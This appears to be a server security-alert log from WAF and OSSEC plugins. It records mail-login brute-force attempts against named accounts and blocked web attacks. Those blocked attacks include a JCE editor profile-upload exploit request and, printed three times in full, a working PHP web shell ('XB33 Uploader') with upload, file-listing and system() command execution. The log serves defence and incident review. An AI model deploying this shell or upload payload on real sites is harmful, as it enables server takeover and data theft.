IM360 WAF: HTTP Response Splitting Attack||MV:\"task\"\r\n\r\nprofiles.import\r\n--6702fe8e4f7f0fc2ddb4825421b147ba\r\ncontent-disposition: form-data; name=\"a4add75c676abbfcf3ff3c66b323f31d\"\r\n\r\n1\r\n--6702fe8e4f7f0fc2ddb4825421b147ba\r\ncontent-disposition: form-data; name=\"profile_file\"; filename=\"x.xml\"\r\ncontent-type: application/xml\r\n\r\n<?xml version=\"1.0\"?><jce><profiles><profile><name>j837010</name><published>1</published><ordering>-99999</ordering><area>0</area><device>desktop,tablet,phone</device><components></components><users></users><types>1,8</types><rows><![cdata[[]]]]></rows><plugins>browser,image,media,link,file</plugins><params><![cdata[{\"browser\": {\"filetypes\": \"images=jpg,jpeg,png,gif;files=php,phtml,pht,php5,php7,phar,shtml,htaccess,txt,gif\", \"upload\": {\"max_size\": \"102400\", \"validate_mimetype\": \"0\", \"add_random\": \"0\"}, \"features\": {\"upload\": 1, \"folder\": {\"create\": 1, \"rename\": 1}, \"file\": {\"rename\": 1}}, \"dir\": \"\"}}]]></params></profile></profiles></jce>\r\n--6702fe8e4f7f0fc2ddb4825421b147ba--\r\n||MVN:ARGS:--6702fe8e4f7f0fc2ddb4825421b147ba\\r\\nContent-Disposition: form-data; name||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.59.160.213
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:s1783837014.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.145.160.134
country_id: 1269750
description:
2026-07-12 11:47:48 dovecot_login authenticator failed for H=(85-18-115-154.ip.mob-sol.it) [59.145.160.134]:42592: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://ai.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-12 11:48:49 dovecot_login authenticator failed for H=([112.173.166.253]) [125.19.182.118]:54096: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-12 11:48:33 dovecot_login authenticator failed for H=(ipmapt-72-195-114-165.oc.oc.cox.net) [188.122.37.97]:33546: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.79.7.186
country_id: 2328926
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:84395.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8a1f44a1e2042539638f54268962c1700d046131||Title:0x4744a830||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.246
country_id: 2661886
description:
2026-07-12 11:53:55 dovecot_login authenticator failed for H=78-66-44-246-no2550.tbcn.telia.com ([74.196.127.84]) [78.66.44.246]:54368: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-12 11:54:17 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [125.19.182.118]:51392: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-12 11:57:02 dovecot_login authenticator failed for H=([61.37.150.6]) [122.185.146.166]:43078: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-12 11:57:46 dovecot_login authenticator failed for H=([206.220.175.5]) [122.160.11.40]:44952: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.207.37.22
country_id: 1835841
description:
2026-07-12 11:57:29 dovecot_login authenticator failed for H=([36.154.20.34]) [119.207.37.22]:48664: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-12 11:57:24 dovecot_login authenticator failed for H=([117.211.15.93]) [220.235.225.112]:58103: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-12 11:59:41 dovecot_login authenticator failed for H=(110-25-112-143.adsl.fetnet.net) [203.252.10.3]:37330: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-12 11:59:25 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([41.220.3.113]) [73.203.17.220]:42934: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-12 12:04:26 dovecot_login authenticator failed for H=(60-251-229-144.hinet-ip.hinet.net) [182.76.71.82]:56774: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.97.97
country_id: 1835841
description:
2026-07-12 12:04:47 dovecot_login authenticator failed for H=([101.13.5.195]) [211.228.97.97]:51836: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-12 12:04:36 dovecot_login authenticator failed for H=([192.111.134.12]) [207.254.71.129]:56012: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-12 12:04:31 dovecot_login authenticator failed for H=([182.252.140.114]) [116.72.9.151]:40436: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.132.64.89
country_id: 2921044
description:
2026-07-12 12:05:29 dovecot_login authenticator failed for H=(78.187.9.111.dynamic.ttnet.com.tr) [212.132.64.89]:46104: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.230.51.117
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/hotels-and-offices HTTP/1.1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 112.215.63.4
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/keralapeople/public_html/||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 112.215.63.4
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n/**\n * XB33 Uploader Shell \xc3\xa2\xe2\x82\xac\xe2\x80\x9d CVE-2026-49049 Stage 1\n * Upload this as .json \xc3\xa2\xe2\x80\xa0\xe2\x80\x99 if PHP executes, upload real .php shell\n * Usage: ?k=b33              HTML uploader UI\n *        ?k=b33&f=upload     POST file upload (API)\n *        ?k=b33&f=list       list files (API)\n *        ?k=b33&f=info       server info (API)\n */\nif(isset($_GET['k']) && $_GET['k']=='b33'){\n    $act = $_GET['f'] ?? '';\n    if($act=='upload' && $_SERVER['REQUEST_METHOD']=='POST'){\n        @header('Content-Type: text/plain');\n        $f = $_FILES['file'] ?? null;\n        if($f && $f['error']==0){\n            $n = basename($f['name']);\n            $d = __DIR__ . '/' . $n;\n            if(move_uploaded_file($f['tmp_name'], $d)){\n                echo \"OK:{$n}:\" . filesize($d);\n            } else {\n                echo \"FAIL:move\";\n            }\n        } else {\n            echo \"FAIL:no_file\";\n        }\n        exit;\n    }\n    if($act=='list'){\n        @header('Content-Type: text/plain');\n        $files = glob(__DIR__ . '/*.{php,phtml,phar,php5,php7,php8,json}', GLOB_BRACE);\n        foreach($files as $f) echo basename($f) . ':' . filesize($f) . \"\\n\";\n        exit;\n    }\n    if($act=='info'){\n        @header('Content-Type: text/plain');\n        echo \"PHP:\" . phpversion() . \"\\n\";\n        echo \"DIR:\" . __DIR__ . \"\\n\";\n        echo \"USER:\" . (function_exists('get_current_user') ? get_current_user() : '?') . \"\\n\";\n        echo \"SERVER:\" . ($_SERVER['SERVER_SOFTWARE'] ?? '?') . \"\\n\";\n        echo \"SAPI:\" . php_sapi_name() . \"\\n\";\n        exit;\n    }\n    if($act=='exec'){\n        @header('Content-Type: text/plain');\n        $c = $_GET['c'] ?? '';\n        if($c){\n            echo \"START\\n\";\n            system($c);\n            echo \"\\nEND\";\n        } else {\n            echo \"no cmd\";\n        }\n        exit;\n    }\n    @header('Content-Type: text/html; charset=utf-8');\n    $dir = __DIR__;\n    $me = basename(__FILE__);\n    $info = @phpversion() . ' | ' . php_sapi_name() . ' | ' . (function_exists('get_current_user') ? get_current_user() : '?');\n    echo <<<HTML\n<!DOCTYPE html>\n<html>\n<head><title>XB33</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{background:#0a0a0a;color:#0f0;font-family:'Courier New',monospace;padding:20px}\nh1{font-size:18px;margin-bottom:10px;border-bottom:1px solid #0f0;padding-bottom:8px}\n.info{color:#888;font-size:12px;margin-bottom:15px}\n.box{border:1px solid #0f0;padding:15px;margin-bottom:15px}\n.box h2{font-size:14px;margin-bottom:10px;color:#0f0}\ninput[type=file]{color:#0f0;background:#111;border:1px solid #0f0;padding:5px}\ninput[type=submit]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:inherit}\ninput[type=submit]:hover{background:#0a0}\npre{background:#111;padding:10px;overflow:auto;max-height:300px;font-size:12px;border:1px solid #333}\n.btn{display:inline-block;background:#111;color:#0f0;border:1px solid #0f0;padding:5px 12px;cursor:pointer;margin:3px;text-decoration:none;font-size:12px}\n.btn:hover{background:#0f0;color:#000}\n#result{margin-top:10px}\n</style>\n</head>\n<body>\n<h1>[XB33] Uploader</h1>\n<div class=\"info\">{$info} | {$dir}</div>\n\n<div class=\"box\">\n<h2>Upload</h2>\n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"?k=b33&f=upload\" target=\"r\">\n<input type=\"file\" name=\"file\" id=\"fu\">\n<input type=\"submit\" value=\"Upload\">\n</form>\n</div>\n\n<div class=\"box\">\n<h2>Actions</h2>\n<a class=\"btn\" onclick=\"api('list')\">List Files</a>\n<a class=\"btn\" onclick=\"api('info')\">Server Info</a>\n<a class=\"btn\" onclick=\"api('cmd')\">Exec Cmd</a>\n</div>\n\n<div class=\"box\">\n<h2>Result</h2>\n<iframe name=\"r\" style=\"display:none\" onload=\"document.getElementById('result').textContent=this.contentDocument.body.textContent\"></iframe>\n<pre id=\"result\">Ready.</pre>\n</div>\n\n<script>\nfunction api(act){\n    if(act=='cmd'){\n        var c=prompt('Command:');\n        if(!c)return;\n        var x=new XMLHttpRequest();\n        x.open('GET','?k=b33&f=exec&c='+encodeURIComponent(c));\n        x.onload=function(){document.getElementById('result').textContent=x.responseText};\n        x.send();\n        return;\n    }\n    var x=new XMLHttpRequest();\n    x.open('GET','?k=b33&f='+act);\n    x.onload=function(){document.getElementById('result').textContent=x.responseText};\n    x.send();\n}\n</script>\n</body>\n</html>\nHTML;\n    exit;\n}\n||MVN:ARGS:data[content]||RSV:8.28||T:APACHE||SC:/home/keralapeople/public_html/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.43.231.252
country_id: 1835841
description:
2026-07-12 12:21:08 dovecot_login authenticator failed for H=([210.118.224.138]) [118.43.231.252]:39833: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-12 12:20:31 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com ([49.124.152.35]) [79.138.90.195]:49574: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 112.215.63.4
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n/**\n * XB33 Uploader Shell \xc3\xa2\xe2\x82\xac\xe2\x80\x9d CVE-2026-49049 Stage 1\n * Upload this as .json \xc3\xa2\xe2\x80\xa0\xe2\x80\x99 if PHP executes, upload real .php shell\n * Usage: ?k=b33              HTML uploader UI\n *        ?k=b33&f=upload     POST file upload (API)\n *        ?k=b33&f=list       list files (API)\n *        ?k=b33&f=info       server info (API)\n */\nif(isset($_GET['k']) && $_GET['k']=='b33'){\n    $act = $_GET['f'] ?? '';\n    if($act=='upload' && $_SERVER['REQUEST_METHOD']=='POST'){\n        @header('Content-Type: text/plain');\n        $f = $_FILES['file'] ?? null;\n        if($f && $f['error']==0){\n            $n = basename($f['name']);\n            $d = __DIR__ . '/' . $n;\n            if(move_uploaded_file($f['tmp_name'], $d)){\n                echo \"OK:{$n}:\" . filesize($d);\n            } else {\n                echo \"FAIL:move\";\n            }\n        } else {\n            echo \"FAIL:no_file\";\n        }\n        exit;\n    }\n    if($act=='list'){\n        @header('Content-Type: text/plain');\n        $files = glob(__DIR__ . '/*.{php,phtml,phar,php5,php7,php8,json}', GLOB_BRACE);\n        foreach($files as $f) echo basename($f) . ':' . filesize($f) . \"\\n\";\n        exit;\n    }\n    if($act=='info'){\n        @header('Content-Type: text/plain');\n        echo \"PHP:\" . phpversion() . \"\\n\";\n        echo \"DIR:\" . __DIR__ . \"\\n\";\n        echo \"USER:\" . (function_exists('get_current_user') ? get_current_user() : '?') . \"\\n\";\n        echo \"SERVER:\" . ($_SERVER['SERVER_SOFTWARE'] ?? '?') . \"\\n\";\n        echo \"SAPI:\" . php_sapi_name() . \"\\n\";\n        exit;\n    }\n    if($act=='exec'){\n        @header('Content-Type: text/plain');\n        $c = $_GET['c'] ?? '';\n        if($c){\n            echo \"START\\n\";\n            system($c);\n            echo \"\\nEND\";\n        } else {\n            echo \"no cmd\";\n        }\n        exit;\n    }\n    @header('Content-Type: text/html; charset=utf-8');\n    $dir = __DIR__;\n    $me = basename(__FILE__);\n    $info = @phpversion() . ' | ' . php_sapi_name() . ' | ' . (function_exists('get_current_user') ? get_current_user() : '?');\n    echo <<<HTML\n<!DOCTYPE html>\n<html>\n<head><title>XB33</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{background:#0a0a0a;color:#0f0;font-family:'Courier New',monospace;padding:20px}\nh1{font-size:18px;margin-bottom:10px;border-bottom:1px solid #0f0;padding-bottom:8px}\n.info{color:#888;font-size:12px;margin-bottom:15px}\n.box{border:1px solid #0f0;padding:15px;margin-bottom:15px}\n.box h2{font-size:14px;margin-bottom:10px;color:#0f0}\ninput[type=file]{color:#0f0;background:#111;border:1px solid #0f0;padding:5px}\ninput[type=submit]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:inherit}\ninput[type=submit]:hover{background:#0a0}\npre{background:#111;padding:10px;overflow:auto;max-height:300px;font-size:12px;border:1px solid #333}\n.btn{display:inline-block;background:#111;color:#0f0;border:1px solid #0f0;padding:5px 12px;cursor:pointer;margin:3px;text-decoration:none;font-size:12px}\n.btn:hover{background:#0f0;color:#000}\n#result{margin-top:10px}\n</style>\n</head>\n<body>\n<h1>[XB33] Uploader</h1>\n<div class=\"info\">{$info} | {$dir}</div>\n\n<div class=\"box\">\n<h2>Upload</h2>\n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"?k=b33&f=upload\" target=\"r\">\n<input type=\"file\" name=\"file\" id=\"fu\">\n<input type=\"submit\" value=\"Upload\">\n</form>\n</div>\n\n<div class=\"box\">\n<h2>Actions</h2>\n<a class=\"btn\" onclick=\"api('list')\">List Files</a>\n<a class=\"btn\" onclick=\"api('info')\">Server Info</a>\n<a class=\"btn\" onclick=\"api('cmd')\">Exec Cmd</a>\n</div>\n\n<div class=\"box\">\n<h2>Result</h2>\n<iframe name=\"r\" style=\"display:none\" onload=\"document.getElementById('result').textContent=this.contentDocument.body.textContent\"></iframe>\n<pre id=\"result\">Ready.</pre>\n</div>\n\n<script>\nfunction api(act){\n    if(act=='cmd'){\n        var c=prompt('Command:');\n        if(!c)return;\n        var x=new XMLHttpRequest();\n        x.open('GET','?k=b33&f=exec&c='+encodeURIComponent(c));\n        x.onload=function(){document.getElementById('result').textContent=x.responseText};\n        x.send();\n        return;\n    }\n    var x=new XMLHttpRequest();\n    x.open('GET','?k=b33&f='+act);\n    x.onload=function(){document.getElementById('result').textContent=x.responseText};\n    x.send();\n}\n</script>\n</body>\n</html>\nHTML;\n    exit;\n}\n||MVN:ARGS:data[content]||RSV:8.28||T:APACHE||SC:/home/globalgroupoman/public_html/||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 112.215.63.4
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/globalgroupoman/public_html/||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 112.215.63.4
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-12 12:25:55 dovecot_login authenticator failed for H=(bc2407c4.catv.pool.telekom.hu) [110.227.211.82]:38682: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 112.215.63.4
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n/**\n * XB33 Uploader Shell \xc3\xa2\xe2\x82\xac\xe2\x80\x9d CVE-2026-49049 Stage 1\n * Upload this as .json \xc3\xa2\xe2\x80\xa0\xe2\x80\x99 if PHP executes, upload real .php shell\n * Usage: ?k=b33              HTML uploader UI\n *        ?k=b33&f=upload     POST file upload (API)\n *        ?k=b33&f=list       list files (API)\n *        ?k=b33&f=info       server info (API)\n */\nif(isset($_GET['k']) && $_GET['k']=='b33'){\n    $act = $_GET['f'] ?? '';\n    if($act=='upload' && $_SERVER['REQUEST_METHOD']=='POST'){\n        @header('Content-Type: text/plain');\n        $f = $_FILES['file'] ?? null;\n        if($f && $f['error']==0){\n            $n = basename($f['name']);\n            $d = __DIR__ . '/' . $n;\n            if(move_uploaded_file($f['tmp_name'], $d)){\n                echo \"OK:{$n}:\" . filesize($d);\n            } else {\n                echo \"FAIL:move\";\n            }\n        } else {\n            echo \"FAIL:no_file\";\n        }\n        exit;\n    }\n    if($act=='list'){\n        @header('Content-Type: text/plain');\n        $files = glob(__DIR__ . '/*.{php,phtml,phar,php5,php7,php8,json}', GLOB_BRACE);\n        foreach($files as $f) echo basename($f) . ':' . filesize($f) . \"\\n\";\n        exit;\n    }\n    if($act=='info'){\n        @header('Content-Type: text/plain');\n        echo \"PHP:\" . phpversion() . \"\\n\";\n        echo \"DIR:\" . __DIR__ . \"\\n\";\n        echo \"USER:\" . (function_exists('get_current_user') ? get_current_user() : '?') . \"\\n\";\n        echo \"SERVER:\" . ($_SERVER['SERVER_SOFTWARE'] ?? '?') . \"\\n\";\n        echo \"SAPI:\" . php_sapi_name() . \"\\n\";\n        exit;\n    }\n    if($act=='exec'){\n        @header('Content-Type: text/plain');\n        $c = $_GET['c'] ?? '';\n        if($c){\n            echo \"START\\n\";\n            system($c);\n            echo \"\\nEND\";\n        } else {\n            echo \"no cmd\";\n        }\n        exit;\n    }\n    @header('Content-Type: text/html; charset=utf-8');\n    $dir = __DIR__;\n    $me = basename(__FILE__);\n    $info = @phpversion() . ' | ' . php_sapi_name() . ' | ' . (function_exists('get_current_user') ? get_current_user() : '?');\n    echo <<<HTML\n<!DOCTYPE html>\n<html>\n<head><title>XB33</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{background:#0a0a0a;color:#0f0;font-family:'Courier New',monospace;padding:20px}\nh1{font-size:18px;margin-bottom:10px;border-bottom:1px solid #0f0;padding-bottom:8px}\n.info{color:#888;font-size:12px;margin-bottom:15px}\n.box{border:1px solid #0f0;padding:15px;margin-bottom:15px}\n.box h2{font-size:14px;margin-bottom:10px;color:#0f0}\ninput[type=file]{color:#0f0;background:#111;border:1px solid #0f0;padding:5px}\ninput[type=submit]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:inherit}\ninput[type=submit]:hover{background:#0a0}\npre{background:#111;padding:10px;overflow:auto;max-height:300px;font-size:12px;border:1px solid #333}\n.btn{display:inline-block;background:#111;color:#0f0;border:1px solid #0f0;padding:5px 12px;cursor:pointer;margin:3px;text-decoration:none;font-size:12px}\n.btn:hover{background:#0f0;color:#000}\n#result{margin-top:10px}\n</style>\n</head>\n<body>\n<h1>[XB33] Uploader</h1>\n<div class=\"info\">{$info} | {$dir}</div>\n\n<div class=\"box\">\n<h2>Upload</h2>\n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"?k=b33&f=upload\" target=\"r\">\n<input type=\"file\" name=\"file\" id=\"fu\">\n<input type=\"submit\" value=\"Upload\">\n</form>\n</div>\n\n<div class=\"box\">\n<h2>Actions</h2>\n<a class=\"btn\" onclick=\"api('list')\">List Files</a>\n<a class=\"btn\" onclick=\"api('info')\">Server Info</a>\n<a class=\"btn\" onclick=\"api('cmd')\">Exec Cmd</a>\n</div>\n\n<div class=\"box\">\n<h2>Result</h2>\n<iframe name=\"r\" style=\"display:none\" onload=\"document.getElementById('result').textContent=this.contentDocument.body.textContent\"></iframe>\n<pre id=\"result\">Ready.</pre>\n</div>\n\n<script>\nfunction api(act){\n    if(act=='cmd'){\n        var c=prompt('Command:');\n        if(!c)return;\n        var x=new XMLHttpRequest();\n        x.open('GET','?k=b33&f=exec&c='+encodeURIComponent(c));\n        x.onload=function(){document.getElementById('result').textContent=x.responseText};\n        x.send();\n        return;\n    }\n    var x=new XMLHttpRequest();\n    x.open('GET','?k=b33&f='+act);\n    x.onload=function(){document.getElementById('result').textContent=x.responseText};\n    x.send();\n}\n</script>\n</body>\n</html>\nHTML;\n    exit;\n}\n||MVN:ARGS:content||RSV:8.28||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.172
country_id: 1668284
description:
2026-07-12 12:26:35 dovecot_login authenticator failed for H=110-25-107-172.adsl.fetnet.net ([1.209.170.44]) [110.25.107.172]:49914: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-12 12:29:28 dovecot_login authenticator failed for H=([121.73.168.34]) [188.122.37.97]:38516: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-12 12:29:58 dovecot_login authenticator failed for H=(abts-north-static-194.142.160.122.airtelbroadband.in) [117.211.15.93]:36768: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-12 12:32:00 dovecot_login authenticator failed for H=([49.124.151.72]) [190.67.106.221]:49124: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-12 12:32:25 dovecot_login authenticator failed for H=([203.123.219.137]) [65.191.211.33]:48180: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-07-12 12:33:12 dovecot_login authenticator failed for H=([36.137.38.119]) [192.34.164.13]:59857: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-12 12:33:13 dovecot_login authenticator failed for H=([65.20.138.46]) [181.54.70.40]:37834: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-12 12:33:34 dovecot_login authenticator failed for H=(syn-065-191-211-033.res.spectrum.com) [182.95.101.182]:35516: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.248.19.102
country_id: 1269750
description:
2026-07-12 12:33:28 dovecot_login authenticator failed for H=([223.210.27.53]) [218.248.19.102]:33174: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.220.98
country_id: 1733045
description:
2026-07-12 12:37:09 dovecot_login authenticator failed for H=([70.166.167.59]) [49.124.220.98]:52462: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.12
country_id: 3865483
description:
2026-07-12 12:44:07 dovecot_login authenticator failed for H=([182.37.178.94]) [167.250.118.12]:58774: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-12 12:44:33 dovecot_login authenticator failed for H=(intereuropartc.19522243-138.bih.net.ba) [103.163.44.10]:38994: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.42.47.150
country_id: 1835841
description:
2026-07-12 12:44:51 dovecot_login authenticator failed for H=(l37-193-85-193.novotelecom.ru) [14.42.47.150]:33468: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-12 12:46:27 dovecot_login authenticator failed for H=([184.181.217.198]) [197.219.210.86]:60914: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.182.138
country_id: 1269750
description:
2026-07-12 12:53:48 dovecot_login authenticator failed for H=(50-212-27-146-static.hfc.comcastbusiness.net) [182.95.182.138]:46494: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-12 12:53:28 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se ([107.181.161.85]) [83.255.209.245]:50890: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.174
country_id: 2186224
description:
2026-07-12 12:54:29 dovecot_login authenticator failed for H=([182.239.80.7]) [121.73.163.174]:36780: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-12 12:56:36 dovecot_login authenticator failed for H=(h79-138-90-195.cust.bredband2.com) [170.233.29.157]:48807: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-12 12:56:41 dovecot_login authenticator failed for H=(syn-065-191-211-033.res.spectrum.com) [182.66.213.59]:34828: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-12 12:57:17 dovecot_login authenticator failed for H=([103.176.167.179]) [197.219.208.38]:32874: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-12 12:57:50 dovecot_login authenticator failed for H=(187-40-215-162.user.vtal.net.br) [188.122.37.97]:53164: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.224.62.206
country_id: 2464461
description:
2026-07-12 12:57:59 dovecot_login authenticator failed for H=([146.255.228.189]) [41.224.62.206]:54661: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-12 12:58:16 dovecot_login authenticator failed for H=ns1.sinergi.net.id ([142.54.225.52]) [223.25.108.2]:60248: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
